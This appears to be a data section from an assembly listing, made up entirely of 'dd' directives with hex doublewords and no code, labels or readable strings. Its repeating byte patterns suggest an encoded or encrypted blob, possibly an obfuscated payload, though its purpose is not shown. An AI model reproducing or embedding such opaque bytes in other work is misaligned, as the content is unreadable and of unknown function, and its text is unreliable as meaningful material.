dd 6A6BFB62h, 2A7D92F9h, 0F7760F85h, 858A7BFFh, 2A922A85h
dd 0F98585D9h, 4FF176BEh, 6A6BFA9Eh, 8580BCFBh, 8A437A7Ah
dd 82F37E0Eh, 78107791h, 7E6F852Dh, 0F36A7A8Ah, 25E591BDh
dd 2FB9B324h, 292B9FF3h, 27F12D2Ch, 0FB5ADB72h, 0BCF36A6Bh
dd 0FAA24F79h, 94F96A6Bh, 47C57574h, 6A6BFBBEh, 917295F9h
dd 6ECD7530h, 7637F101h, 376CD75h, 887BB07Bh, 0DB862FF3h
dd 6A6BFBD6h, 7A85877Fh, 0CB8437Ah, 4FC57563h, 6A6BFBB6h
dd 0DB7294F9h, 6A6BFBFAh, 7B7A7A7Fh, 863F537Ah, 4FF17391h
dd 6A6BFB0Ah, 0F17E94F9h, 0F31C862Fh, 753D016Eh, 0FBDE7FC5h
dd 0BAF96A6Bh, 8BD4360h, 258AF3D2h, 0B9B32124h, 0F99FF32Fh
dd 2C295296h, 7A39C42Dh, 6F917A7Ah, 0FA9267F1h, 67796A6Bh
dd 6A6BFBA6h, 0CF66F331h, 6A6B115Ah, 2084F93Ch, 39C59C0Ch
dd 937A7A7Ah, 7A7A7BD9h, 6BFFD912h, 1540926Ah, 2A2D8585h
dd 298827F7h, 23526F85h, 7ADB6A77h, 796A6BFBh, 6BFBC67Fh
dd 7592F96Ah, 5E6F852Ah, 0F96A7723h, 67F16EBEh, 6A6BF856h
dd 437D91F9h, 115AC766h, 3F0E6A6Bh, 627FC575h, 0F96A6BFBh
dd 3FF37292h, 963FF796h, 0C74E852Ah, 6A6B115Ah, 23366F85h
dd 7FB6A6Bh, 7A7B7996h, 85640E7Ah, 115AC74Eh, 6F856A6Bh
dd 6A733332h, 5267C575h, 0F96A6BFBh, 66F37F91h, 6B115AC7h
dd 883FF76Ah, 1E6F852Ah, 0F36A6B23h, 82F9863Fh, 0F9380E79h
dd 470E7E82h, 0E7882F9h, 3667F142h, 796A6BF8h, 6BFA9A67h
dd 7591F96Ah, 5AC76643h, 756A6B11h, 7A7A9FFEh, 67C5757Ah
dd 6A6BFABEh, 0FBCA6779h, 91F96A6Bh, 0C766F377h, 6A7B5F9Ah
dd 7A7AB393h, 857B107Ah, 7B75BA6Fh, 0A63FF76Ah, 9E3FF72Ah
dd 9A3FF72Ah, 923FF72Ah, 883FF72Ah, 0F26F852Ah, 0F16A7B5Ah
dd 6BFB9667h, 7991F96Ah, 540FA243h, 0FB4E67F1h, 91F96A6Bh
dd 0C7664378h, 6A6B115Ah, 7AFEFE75h, 67F17A7Ah, 6A6BFB26h
dd 0FB5A6779h, 91F96A6Bh, 0C766F376h, 6A7B5F9Ah, 67F11691h
dd 6A6BFAC6h, 826FC575h, 7B6A6BFAh, 7F91F9A9h, 5AC76643h
dd 0F6A6B11h, 0C746F32Bh, 6A7B5F9Ah, 2AA23FF7h, 6BFAC6DBh
dd 6FC5756Ah, 6A6BFBEAh, 92F9AA7Bh, 66F72A72h, 7B5F9AC7h
dd 6512296Ah, 0F16A7A34h, 6BFB7A67h, 9267796Ah, 0F96A6BFAh
dd 0F1297091h, 6BFB7667h, 7891F96Ah, 5A6F8529h, 0F36A6B15h
dd 115AC77Eh, 0F93D6A6Bh, 0FC752085h, 8585842Eh, 6BFBCADBh
dd 7D92F96Ah, 5E6F852Ah, 236A7723h, 85844F93h, 21242585h
dd 7A7EB8B3h, 2D9FF32Fh, 85720F85h, 6BF8024Fh, 0D66F856Ah
dd 0F36A7B5Bh, 0B92725BDh, 299FF32Fh, 0FF12D2Ch, 6A07F176h
dd 6BE0E212h, 6F852C6Ah, 6A772346h, 6A0EBA73h, 0F3723FF1h
dd 0F14D857Dh, 7E298562h, 2F91BA4Bh, 6BE06212h, 6F852C6Ah
dd 6A772346h, 6A0EBA73h, 0F3723FF1h, 0F14D857Dh, 7E298562h
dd 4F91BA4Bh, 6BE3A212h, 6F852C6Ah, 6A772346h, 6A0EBA73h
dd 0F3723FF1h, 0F14D857Dh, 7E298562h, 6F91BA4Bh, 6BF876DBh
dd 0E27F796Ah, 0F96A6BFAh, 7DF37792h, 7A3A78C2h, 212425FAh
dd 7A76B827h, 0FFEF122Dh, 0AB926A6Bh, 23858516h, 0E26F852Ah
dd 0D96A7B5Fh, 6A6BF80Ah, 0D27FC575h, 436A6BFAh, 6BF80A7Fh
dd 126D0F6Ah, 6A6BFFFDh
dd 8516D192h, 852A2385h, 7F48626Fh, 0F80AD96Ah, 7ADB6A6Bh
dd 796A6BFBh, 6BFBDA7Fh, 6B92F96Ah, 0F80A7F43h, 660E6A6Bh
dd 1E7FC575h, 0F96A6BFBh, 852A7EBAh, 6BF80A4Fh, 0D66F856Ah
dd 0D96A7B5Bh, 6A7A8A5Eh, 0F32FB925h, 5296F99Fh, 0F12D2C29h
dd 0F13C760Fh, 6BF84647h, 65BDF96Ah, 0BAFF8AF3h, 857F7F07h
dd 0BB7A7A7Ah, 67F17282h, 6A6BFABAh, 0F37DB9F9h, 0A9D575B8h
dd 7F3AD7Bh, 4E47F182h, 0F96A6BFBh, 8AF369BDh, 7F07BAFFh
dd 7A7A857Fh, 7282BB7Ah, 8E67C575h, 0F96A6BFAh, 0B8F375B9h
dd 7BA9D575h, 8E07F3ADh, 0FB8E47F1h, 0BDF96A6Bh, 0FF8AF362h
dd 7F7F07BAh, 7A7A8585h, 756A82BBh, 0FB3E67C5h, 77F16A6Bh
dd 6A6BFBFAh, 697126F7h, 0D575B8F3h, 0F3AD7BA9h, 8AF38A07h
dd 7A7A855Fh, 8E922A7Ah, 0F3858580h, 9527F2B9h, 1F8D8AF3h
dd 9E3FF38Ah, 7A7A855Fh, 0A6922A7Ah, 0F3858580h, 9427F2B9h
dd 1F8D8AF3h, 9A3FF382h, 7A7A855Fh, 0BE922A7Ah, 0F3858580h
dd 8527F2B9h, 6BFAB2DBh, 0ABAF96Ah, 0D57588F3h, 5FAAF3AAh
dd 7A7A7A85h, 8C5922Ah, 0B9F38585h, 759727F2h, 0F86A7FC5h
dd 6FF16A6Bh, 6A6BFB5Eh, 7F6A3EF7h, 0D57588F3h, 5FAAF3AAh
dd 7A7A7A85h, 8ED922Ah, 0B9F38585h, 0DB9627F2h, 6A6BFB12h
dd 0F357BAF9h, 0AAD57588h, 855FAAF3h, 2A7A7A7Ah, 85080292h
dd 0F2B9F385h, 8AF39127h, 0F38E1F8Dh, 855FA63Fh, 2A7A7A7Ah
dd 85803C92h, 0F2B9F385h, 0B2DB9027h, 0F96A6BFAh, 88F338BAh
dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 8585805Dh, 27F2B9F3h
dd 0F87EDB93h, 0BAF96A6Bh, 6FC5753Fh, 6A6BFAEEh, 88F3AA7Bh
dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 85850863h, 0F35EBEF9h
dd 9227F2B9h, 8507CC75h, 92AB82F3h, 0AA4FC575h, 796A6BFAh
dd 6BFB0E4Fh, 7194F96Ah, 3FF39C8Dh, 43BCF3A2h, 123C0F84h
dd 6A6BFF17h, 8510E592h, 7CC7585h, 0CC752D93h, 752D9207h
dd 2D9407CCh, 9107CC75h, 7CC752Dh, 0CC752D95h, 752D9707h
dd 2D9007CCh, 9607CC75h, 7CC752Dh, 852A2D85h, 6F85720Fh
dd 6A772352h, 914ABEF9h, 0FF28123Eh, 23926A6Bh, 75858510h
dd 2D9307CCh, 9207CC75h, 7CC752Dh, 0CC752D94h, 752D9107h
dd 2D9507CCh, 9707CC75h, 7CC752Dh, 0CC752D90h, 752D9607h
dd 2D8507CCh, 720F852Ah, 23526F85h, 0BEF96A77h, 2124254Ah
dd 0F32FB9B3h, 292A2B9Fh, 0F852D2Ch, 626F8572h, 0F36A7F48h
dd 0FA96DBB9h, 43326A6Bh, 37FE75B9h, 127A7A7Bh, 6A6BFF37h
dd 85139592h, 85292A85h, 7B5BD66Fh, 8A72D96Ah, 32126A7Ah
dd 926A6BFFh, 858513A2h, 2A72BEF9h, 0D66F8529h, 0D96A7B5Bh
dd 6A7B7A7Eh, 6BFAEADBh, 7E92F96Ah, 7A7E7F43h, 0FE756A7Bh
dd 7A7A7B72h, 6BFADEDBh, 7D92F96Ah, 8A727F43h, 0FE756A7Ah
dd 7A7A7A8Eh, 2A823FF7h, 2A863FF7h, 7A7E6F85h, 0BDF36A7Bh
dd 6BF87ADBh, 827F796Ah, 0F96A6BFBh, 82437892h, 85297609h
dd 6B11666Fh, 7ABC936Ah, 4FF17A7Ah, 6A6BFB6Eh, 0DB84BCF9h
dd 6A6BFBDAh, 4779BDF3h, 6A6BFBFEh, 917695F9h, 822FF157h
dd 5AC76E43h, 0F6A7F48h, 0F184F35Ah, 6E43862Fh, 73235AC7h
dd 2968086Ah, 11666F85h, 0F856A6Bh, 766F8572h, 916A7A8Ah
dd 47413D05h, 6A6BF8DEh, 6EDBB108h, 0F96A6BF8h, 0C57586BAh
dd 6BFAD26Fh, 43AA7B6Ah, 85570EBCh, 232ACF4Eh, 6F856A77h
dd 6A6B1166h, 0F38607F1h, 235ACF46h, 47F16A73h, 6A7A8A72h
dd 9ACF46F3h, 0F36A7B53h, 232ACF66h, 4E916A77h, 0F8DE47F1h
dd 2FF16A6Bh, 0C76EF382h, 6A7F485Ah, 2AC766F3h, 0F16A7723h
dd 7A8A7267h, 0C766F36Ah, 6A7B539Ah, 0F38627F1h, 235AC766h
dd 7F856A73h, 6A6BF8DEh, 0B3212425h, 9FF32FB9h, 7C64DEC2h
dd 692D927Ah, 2C297A7Ah, 7627F12Dh, 6BFBFADBh, 6FC5756Ah
dd 6A6BFB62h, 92F9AA7Bh, 6EDB2A72h, 326A6BFBh, 0DB79102Ah
dd 6A6BFAB2h, 9ADB2A32h, 0F96A6BFAh, 122A7C92h, 0FA7A7A7Ah
dd 85720F85h, 6B11626Fh, 0C2FFF36Ah, 0F985868Bh, 868AD2DFh
dd 0DFF97A85h, 85868BCAh, 8582F97Ah, 7F4EFE75h, 0AEDB7A7Ah
dd 796A6BFAh, 6BFB967Fh, 7292F96Ah, 0CEFFF72Ah, 2A85868Bh
dd 6BFB0EDBh, 6BAF96Ah, 0FA967F79h, 0F72A6A6Bh, 868BBBFFh
dd 0CF852A85h, 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h
dd 6BFACADBh, 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0C6FF437Fh
dd 7585868Bh, 7A7EC1FEh, 0BEC7FA7Ah, 4285868Bh, 0C7FA680Fh
dd 85868BBFh, 0FA730F43h, 868BBCC7h, 7F0E1B85h, 7A7EE193h
dd 0BBC7FA7Ah, 3D85868Bh, 0C7FA680Fh, 85868BB8h, 0FA730F33h
dd 868BB9C7h, 7F0E3C85h, 7A7E0193h, 0FFCC757Ah, 85868B91h
dd 0FB9E6FF1h, 0B8F96A6Bh, 0FAA434Dh, 38C7FA68h, 47858688h
dd 0C7FA730Fh, 85868839h, 937F0E47h, 7A7A7E2Ah, 3C0FA173h
dd 850DD292h, 0F2B8F385h, 839918EFh, 3EFFF085h, 0F2858688h
dd 839919FFh, 0FAC6DB85h, 0C6FA6A6Bh, 86883E7Fh, 760F3A85h
dd 8BCAFFBDh, 7A7B8586h, 68917A7Ah, 9918FFF0h, 0FF408583h
dd 85839919h, 7E7CFE75h, 0A2DB7A7Ah, 0F96A6BFAh, 0F72A7C92h
dd 868BCEFFh, 3A122A85h, 0F77A7977h, 839912FFh, 0CF852A85h
dd 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h, 6BFACADBh
dd 7F92F96Ah, 8BC6FF43h, 0FE758586h, 7A7A79BEh, 8BCEFFF1h
dd 6FF18586h, 6A6BFB7Ah, 0F27390F9h, 99127FEEh, 3A128583h
dd 0F77A7977h, 8688BAFFh, 0FFF72A85h, 85839912h, 7C15922Ah
dd 0BEF97A7Ah, 75BCF376h, 0FAB647C5h, 91356A6Bh, 0EA1733Fh
dd 0FECC7569h, 8688BA47h, 0F2825385h, 88BA47FEh, 57918586h
dd 47FECC75h, 858688BAh, 9826FFF3h, 82F38583h, 0FFF39D8Dh
dd 85839822h, 9826FFF1h, 0EFF18583h, 85839822h, 0FEF2AA53h
dd 8688BA47h, 8D433D85h, 0A173CD08h, 0C575590Eh, 6BFAAA7Fh
dd 7F92F96Ah, 0B85388F3h, 6BFB5EDBh, 0F27F796Ah, 0F96A6BFBh
dd 0FEF27D92h, 8688BA6Fh, 0FB6ADB85h, 6FF16A6Bh, 6A6BFB12h
dd 0FB026F79h, 90F96A6Bh, 7FEEF271h, 85868841h, 7A7A8512h
dd 19FFF77Ah, 2A858398h, 8B96FFF7h, 922A8586h, 7A7A7FC7h
dd 9819FFF7h, 2C2A8583h, 88BAFFF7h, 922A8586h, 858514D4h
dd 0F362BEF9h, 868BC6FFh, 0FBB2DB85h, 0C5756A6Bh, 6BFBE26Fh
dd 0F9AA7B6Ah, 0FF437392h, 85868BC6h, 78D0FF75h, 0FFBD7A7Ah
dd 85868AD2h, 7A7A7A7Bh, 0FE75A173h, 7A7A7B3Ah, 6BFBAADBh
dd 827F796Ah, 0FA6A6BFBh, 88CC7FC6h, 751E8586h, 7A7AEFFFh
dd 0FFCC757Ah, 858688BBh, 1E6FC575h, 0F96A6BFBh, 0AA5365B8h
dd 9818FFF2h, 0CC758583h, 839818FFh, 0CADB2A85h, 796A6BFAh
dd 6BF87E7Fh, 7D92F96Ah, 0F171922Ah, 4EDB8585h, 756A6BF8h
dd 0FBDE6FC5h, 0AA7B6A6Bh, 0D97492F9h, 6A7B5FAAh, 6BFB86DBh
dd 0F8DAD96Ah, 0AADB6A6Bh, 796A6BFBh, 6BFB6A7Fh, 6FC5756Ah
dd 6A6BF86Ah, 0FB066F79h, 90F96A6Bh, 7FEEF276h, 858688C8h
dd 6BFBD6DBh, 2A7F796Ah, 0F96A6BFBh, 0F72A7F92h, 8688BAFFh
dd 0FC922A85h, 0F97A7A7Dh, 0C6DB6ABEh, 0FA6A6BFAh, 88BA7FC6h
dd 751D8586h, 7A7BADFFh, 0FADEDB7Ah, 6FF16A6Bh, 6A6BFB96h
dd 0D277C575h, 7B6A6BFAh, 7990F9B0h, 0B97FEEF2h, 0F7858688h
dd 8688BBFFh, 6F852A85h, 6A7B7A66h, 9826FFF3h, 122A8583h
dd 6A6B230Ah, 85822392h, 0FBAEDB85h, 7F796A6Bh, 6A6BFB96h
dd 0D97192F9h, 6A7B5FAAh
dd 6BFADADBh, 0B27F796Ah, 0F96A6BFBh, 0DAD97192h, 0DB6A6BF8h
dd 6A6BFB5Ah, 2A7D92F9h, 88BAFFF7h, 922A8586h, 7A7A7C83h
dd 936EBEF9h, 7A7A7B22h, 8BCAC7F9h, 0E7A8586h, 0A6F850Dh
dd 0F36A6B20h, 839826FFh, 0FF431285h, 1B926A6Bh, 8585851Eh
dd 839826CFh, 0DE6FF185h, 306A6BFAh, 0EFF72A28h, 85839B27h
dd 526F8528h, 0F76A7723h, 868AD6FFh, 0C5752A85h, 6BFAEE7Fh
dd 7892F96Ah, 0F86EDB2Ah, 92F96A6Bh, 66102A79h, 0EE7FC575h
dd 326A6BFBh, 7A6F852Ah, 0F76A7F50h, 839B27FFh, 0FFF72A85h
dd 85868AD6h, 566F852Ah, 0F96A7A8Ah, 549166BEh, 6BFB5ADBh
dd 0F72A326Ah, 868AD6FFh, 95922A85h, 128585FCh, 6A6BFF4Bh
dd 85199992h, 0EFF72A85h, 85868AD6h, 566F8528h, 0F96A7A8Ah
dd 5ADB6EBEh, 0F96A6BFBh, 122A7292h, 7A7A7AFAh, 0C5757810h
dd 6BFAE67Fh, 0D67F796Ah, 0F96A6BFBh, 752A7292h, 0FBB67FC5h
dd 92F96A6Bh, 7A122A73h, 0F73A7A7Ah, 868AD6FFh, 6F852A85h
dd 6A6B1162h, 991EFFF3h, 56DB8583h, 756A6BF8h, 0F83A6FC5h
dd 0AA7B6A6Bh, 2A7592F9h, 8BCEFFF7h, 2C2A8586h, 88BAFFF7h
dd 852A8586h, 83991ECFh, 666F8585h, 856A6B15h, 83991ECFh
dd 326F8585h, 0F96A7333h, 868BCAC7h, 650F7A85h, 0FFF77F10h
dd 85868AD6h, 0EE6F852Ah, 756A7B5Ah, 9919FFCCh, 922A8583h
dd 85850FB9h, 927F9123h, 85850748h, 8BC2CF85h, 6F858586h
dd 6A733332h, 8AD2C7F9h, 0E7A8586h, 720F8573h, 8A766F85h
dd 24256A7Ah, 2FB9B321h, 0C5759FF3h, 6BF8727Fh, 6FC5756Ah
dd 6A6BFBB6h, 92F9AA7Bh, 6F852A70h, 6A77235Eh, 0FB36DB23h
dd 7F796A6Bh, 6A6BFB7Ah, 2A7192F9h, 7A30F912h, 0FADEDB6Ah
dd 92F96A6Bh, 6F852A7Dh, 6A7B7A6Ah, 0B827BA91h, 0F32F7A7Eh
dd 7A4AC29Fh, 14927A7Bh, 297A7A77h, 0C5752D2Ch, 6BFBBE7Fh
dd 7292F96Ah, 75BE7F43h, 0FE756A7Bh, 7A7A783Eh, 6BFB3ADBh
dd 7A7F796Ah, 0F96A6BFBh, 852A7092h, 6BFBFA4Fh, 0FB0EDB6Ah
dd 92F96A6Bh, 3FF72A7Dh, 6F852A86h, 6A7B75BEh, 76DBB9F3h
dd 756A6BF8h, 0FAEE6FC5h, 0AA7B6A6Bh, 437C92F9h, 7BFF75B9h
dd 0F77A7A78h, 752A923Fh, 0FBE27FC5h, 7F796A6Bh, 6A6BFB96h
dd 2A7E92F9h, 6BFB7ADBh, 7392F96Ah, 863FF12Ah, 8542F12Ah
dd 0B9F3422Dh, 3E7FC575h, 756A6BFBh, 0FACE6FC5h, 0AA7B6A6Bh
dd 437392F9h, 0D3FF75B9h, 757A7A7Bh, 0FABE7FC5h, 92F96A6Bh
dd 3FF72A7Ch, 0C5752A96h, 6BFA827Fh, 7E92F96Ah, 923FF12Ah
dd 8542F12Ah, 0B9F3762Dh, 6BFABADBh, 6FC5756Ah, 6A6BFB8Ah
dd 92F9AA7Bh, 75B94372h, 7A7B49FFh, 9E3FF77Ah, 7FC5752Ah
dd 6A6BFBDEh, 2A7C92F9h, 2A963FF7h, 6BFBB2DBh, 7E7F796Ah
dd 0F96A6BF8h, 0F12A7092h, 0F12A863Fh, 462D8542h, 82DBB9F3h
dd 796A6BFBh, 6BFAA67Fh, 7D92F96Ah, 0F90FB943h, 6BFB6ADBh
dd 7392F96Ah, 0AE3FF72Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFAD26Fh
dd 0F9AA7B6Ah, 0F12A7D92h, 0F12A9E3Fh, 762D8542h, 52DBB9F3h
dd 0F96A6BF8h, 0B9437292h, 8533FF75h, 0A6DB8585h, 756A6BFBh
dd 0FBE26FC5h, 0AA7B6A6Bh, 0FFF72A32h, 858485AAh, 0AE3FF72Ah
dd 963FF72Ah, 0FB8EDB2Ah, 92F96A6Bh, 3FF12A73h, 42F12A86h
dd 0F3522D85h, 7FC575B9h, 6A6BF872h, 0F84E7F79h, 6FF16A6Bh
dd 6A6BFA92h, 5277C575h, 7B6A6BFBh, 7C90F9B0h, 0B67FEEF2h
dd 75858485h, 0FBDE7FC5h, 7F796A6Bh, 6A6BFB2Ah, 437092F9h
dd 0F7620FB9h, 8485AFFFh, 0FFF12A85h, 858485AAh, 927E0A85h
dd 85850BA5h, 0F772BEF9h, 8485AFFFh, 0FF72A85h, 6A96F9AEh
dd 7EC39DF3h, 897A7A7Ah, 960FF7DFh, 0F36A96F9h, 7A7EC39Dh
dd 0DF897A7Ah, 92860F85h, 8585E36Fh, 9352BEF9h, 85858576h
dd 6BFB6EDBh, 0D67F796Ah, 0F96A6BFAh, 3F437292h, 0F1730E9Eh
dd 0F12A9E3Fh, 722C854Ah, 6BFAE2DBh, 0A27F796Ah, 0F96A6BFBh
dd 3F437792h, 0F1730E92h, 0F12A923Fh, 722C854Ah, 6BFA96DBh
dd 3F43326Ah, 0F1730E86h, 0F12A863Fh, 722C854Ah, 0B3212425h
dd 9FF32FB9h, 7E6696FBh, 2C297A7Ah, 4FC5752Dh, 6A6BFAD2h
dd 0C5756791h, 6BFB1E6Fh, 77C5756Ah, 6A6BFBEAh, 90F9B07Bh
dd 0F3A08D72h, 867ACFEEh, 0DB3C8585h, 6A6BFB5Eh, 7A7A847Fh
dd 8BC437Ah, 0FBE6DBAFh, 0C5756A6Bh, 6BF83E6Fh, 0F9AA7B6Ah
dd 0FFF37192h, 85858186h, 0FB5647F1h, 0BDF96A6Bh, 7FC5755Dh
dd 6A6BFAB6h, 6191BD7Bh, 0F84E6FF1h, 6F796A6Bh, 6A6BFB8Eh
dd 0F37790F9h, 0F3AB7B83h, 867AC7F6h, 0DB3D8585h, 6A6BF842h
dd 4340BAF9h, 0F1A308BDh, 0C5757627h, 6BF83E4Fh, 7D94F96Ah
dd 0BE47C575h, 0F96A6BFAh, 4D917C95h, 7E6FC575h, 0F96A6BFBh
dd 83F33BB8h, 0C6F3AB7Bh, 85867AF7h, 7A6FF185h, 0F96A6BFBh
dd 83F322B8h, 6FF1AB7Bh, 6A6BFBC6h, 0F36EB8F9h, 0F3AA7B82h
dd 867AF7FEh, 753D8585h, 0FB3E7FC5h, 0C5756A6Bh, 6BFAE66Fh
dd 6A3EF76Ah, 8BD436Ah, 0BA6FF1C9h, 0F16A6BFAh, 6BFAC677h
dd 45BBF96Ah, 0CEEFF6F3h, 75858586h, 0FBE26FC5h, 77F16A6Bh
dd 6A6BFB96h, 794EBBF9h, 6BFBAA77h, 0EFF6F36Ah, 858586D2h
dd 527FC575h, 796A6BFBh, 6BF8527Fh, 7792F96Ah, 818EFFF3h
dd 3FF18585h, 763F796Ah, 8182FFF3h, 7F18585h, 7B3B9372h
dd 0C4757A7Ah, 7898BB6Dh, 7A6FCEF1h, 0DB858586h, 6A6BFBCEh
dd 8D7992F9h, 75BC43A2h, 7A7B5BFEh, 86FFF17Ah, 73858581h
dd 77F675BAh, 0F97A7A7Bh, 0F5757982h, 7A7A7B7Eh, 1AFF5E85h
dd 856A6BFEh, 858186FFh, 7A889385h, 0EFF17A7Ah, 8585818Eh
dd 3A77C575h, 0F96A6BF8h, 0AAF37C93h, 0FFF39AA9h, 85858192h
dd 98F988F3h, 6E77F14Ah, 796A6BFBh, 6BF87A77h, 7893F96Ah
dd 82A9AAF3h, 8192EFF1h, 0B8738585h, 8189EFF2h, 0A2F38585h
dd 89EFF039h, 0F2858581h, 86FF856Ah, 93858581h, 7A7A7AE6h
dd 818EEFF1h, 98F98585h, 77C57575h, 6A6BFBE2h, 6BF842DBh
dd 7B36F76Ah, 0A9AAF379h, 9EFFF39Ah, 0F3858581h, 4698F988h
dd 0FA9A77F1h, 77796A6Bh, 6A6BFB86h, 0F37E93F9h, 0F182A9AAh
dd 85819EEFh, 0F2B87385h, 858189EFh, 39A2F385h, 8189EFF0h
dd 6AF28585h, 8186FF85h, 3A918585h, 818EEFF1h, 98F98585h
dd 77C57579h, 6A6BFB62h, 0FBDA7779h, 93F96A6Bh, 0A9AAF370h
dd 73B8F39Ah, 89EFF288h, 0F3858581h, 0EFF039A2h, 85858189h
dd 72DB6AF2h, 0F96A6BFBh, 0FFF37292h, 85858186h, 818ECFF3h
dd 0FA3D8585h, 760E7A45h, 8182E741h, 0F8758585h, 858584D4h
dd 0F7A45FAh, 51A2F37Dh, 7291763Fh, 6BFBA6DBh, 0A28D3A6Ah
dd 0B3212425h, 9FF32FB9h, 2D2C292Bh, 8A7FC575h, 0F96A6BFBh
dd 122A7C92h, 7A7A7AFAh, 2DB7E10h, 796A6BFBh, 6BFBCE7Fh
dd 7792F96Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFBD26Fh, 0F9AA7B6Ah
dd 122A7292h, 3A7A7A7Ah, 73484A12h, 626F856Ah, 0F36A6B11h
dd 0DB7A10BDh, 6A6BFBC2h, 0FABA7F79h, 92F96A6Bh, 0F852A7Ch
dd 6F852D76h, 6A6B154Ah, 0F3723FF1h, 85B2F9BBh, 7B46FA3Ah
dd 0F3830F7Ah, 9A67F1BCh, 0F96A6BFBh, 0F7297E91h, 2C298627h
dd 2D720F85h, 15666F85h, 852D6A6Bh, 7333326Fh, 2124256Ah
dd 122DB9B3h, 6A6BFF5Bh, 85269D92h, 852A2385h, 7B5FE26Fh
dd 0F812D96Ah, 0C5756A6Bh, 6BFBEA7Fh, 7292F96Ah, 0F8127F43h
dd 6D0F6A6Bh, 6BFF6B12h, 26C4926Ah, 2A238585h, 48626F85h
dd 12D96A7Fh, 126A6BF8h
dd 6A6BFF7Ah, 8526DD92h, 4F852A85h, 6A6BF812h, 5BD66F85h
dd 4ED96A7Bh, 126A6B15h, 6A6BFE94h, 8526F192h, 4F852A85h
dd 6A6BF812h, 5BD66F85h, 76D96A7Bh, 126A7B7Ah, 6A6BFEA4h
dd 85261592h, 4F852A85h, 6A6BF812h, 5BD66F85h, 3ED96A7Bh
dd 126A6B0Ah, 6A6BFEB5h, 85262992h, 4F852A85h, 6A6BF812h
dd 5BD66F85h, 32D96A7Bh, 126A7A8Ah, 6A6BFEC5h, 85264D92h
dd 6EBEF985h, 124F852Ah, 856A6BF8h, 7B5BD66Fh, 485ED96Ah
dd 0B9256A73h, 0FB9FF32Fh, 7A7B2296h, 2D2C297Ah, 85144192h
dd 1E669285h, 69928585h, 92858585h, 858593F4h, 85956592h
dd 0C2A89285h, 0C5928585h, 928585C3h, 8585D676h, 85069292h
dd 0B9279285h, 0EC928585h, 0F38585BAh, 172F92BCh, 0B8F38585h
dd 84C6EFF2h, 0CC758585h, 8584C6FFh, 7A6FF185h, 796A6BF8h
dd 6BF8326Fh, 7D90F96Ah, 6F0FAA43h, 6BFAEADBh, 727F796Ah
dd 0F96A6BFBh, 852A7192h, 6B231A6Fh, 0FFCC756Ah, 858584C6h
dd 0FB166FF1h, 90F96A6Bh, 0FAA437Eh, 0FB76DB62h, 0BAF96A6Bh
dd 0A27F7926h, 2A6A6BFAh, 235E6F85h, 91236A77h, 758C73E2h
dd 7A7AA5FFh, 0FECE127Ah, 1B926A6Bh, 0F3858521h, 8584CAFFh
dd 0FED01285h, 2B926A6Bh, 2A858521h, 84CAEFF1h, 0F7288585h
dd 8584C7EFh, 6F852885h, 6A772352h, 84C7FFF7h, 102A8585h
dd 0F84ADB7Ah, 0C5756A6Bh, 6BFB626Fh, 0F9AA7B6Ah, 852A7392h
dd 7323726Fh, 12BDF36Ah, 6A6BFEE4h, 85217592h, 0D6FFF385h
dd 12858584h, 6A6BFEEEh, 85208592h, 4E6FF185h, 756A6BF8h
dd 0FA8E77C5h, 0B07B6A6Bh, 287E90F9h, 0D6EFF12Ah, 28858584h
dd 84C7EFF7h, 85288585h, 7723526Fh, 56BEF96Ah, 84C7FFF7h
dd 102A8585h, 0A64F857Bh, 856A6BFBh, 7323726Fh, 0DBBDF36Ah
dd 6A6BFABAh, 437892F9h, 85760FBDh, 6BF85E4Fh, 1A6F856Ah
dd 0DB6A6B23h, 6A6BFA9Ah, 758BBAF9h, 0FB626FC5h, 0AA7B6A6Bh
dd 6F852D2Ah, 6A77235Ah, 1E7FC575h, 326A6BFBh, 0E26F852Ah
dd 0F36A7B5Fh, 107FF7B9h, 0F36A7A24h, 3FBDBA3Fh, 7A7A7FA2h
dd 7FC5757Ah, 6A6BFBEEh, 0B87BB8F3h, 92F9AAF3h, 0AA3FF378h
dd 0EA7FC575h, 0F96A6BFBh, 3FF37292h, 0B627F3AEh, 6BF866DBh
dd 0B27F796Ah, 0F96A6BFBh, 3FF37692h, 0C63FBDB2h, 7A7A7A79h
dd 6BFEF012h, 205C926Ah, 3FF38585h, 0FABADB9Ah, 7F796A6Bh
dd 6A6BFAC2h, 0F37C92F9h, 16DBBE3Fh, 0F96A6BFBh, 3FF37F92h
dd 0C63FF7A6h, 0EA6F852Ah, 126A7B5Ah, 6A6BEDB9h, 85238992h
dd 0D2FFF385h, 12858584h, 6A6BFEFAh, 85239992h, 8E6FF185h
dd 0F96A6BFBh, 29287390h, 0BE6FC575h, 796A6BFBh, 6BFB3A6Fh
dd 7390F96Ah, 0C26FF128h, 0F96A6BFBh, 0F1287E90h, 6BFAAE6Fh
dd 77C5756Ah, 6A6BF86Ah, 90F9B07Bh, 6FF12870h, 6A6BFADEh
dd 0FAA677F1h, 0AB7B6A6Bh, 2B7193F9h, 0FBCA77F1h, 77796A6Bh
dd 6A6BFBB2h, 2B7593F9h, 0FB5E6F79h, 90F96A6Bh, 7A122873h
dd 2A7AB07Ah, 84D2EFF1h, 75288585h, 0FBE26FC5h, 6F796A6Bh
dd 6A6BF876h, 287F90F9h, 33466F85h, 0BAD96A73h, 0F76A7B5Fh
dd 8584C2FFh, 92292A85h, 858500DDh, 84CEFFF3h, 7A108585h
dd 85E16C92h, 62BEF985h, 84C2FFF1h, 0BED98585h, 0F16A7B5Fh
dd 8584CEFFh, 2286D985h, 8C736A73h, 5292620Fh, 0DB8585C3h
dd 6A6BFA92h, 0F8467F79h, 0D9326A6Bh, 6A772356h, 0C5756B91h
dd 6BFB927Fh, 40EB7F6Ah, 56D97A7Ah, 126A7723h, 6A7AB105h
dd 8503D992h, 8C732385h, 5792500Fh, 928585BCh, 85858C64h
dd 85B32E92h, 8A69285h, 6E918585h, 2A9E3FF7h, 217A6F85h
dd 3FF76A6Bh, 6F852A9Eh, 6A7B7A62h, 1E7FC575h, 326A6BFBh
dd 0FBC2DB2Ah, 92F96A6Bh, 0C5752A7Eh, 6BF83A7Fh, 7292F96Ah
dd 9E3FF72Ah, 326F852Ah, 736A734Fh, 25BB0FBAh, 0B8B32124h
dd 0F32F7A7Eh, 2E96F99Fh, 0DB2D2C29h, 6A6BFACAh, 0FB067F79h
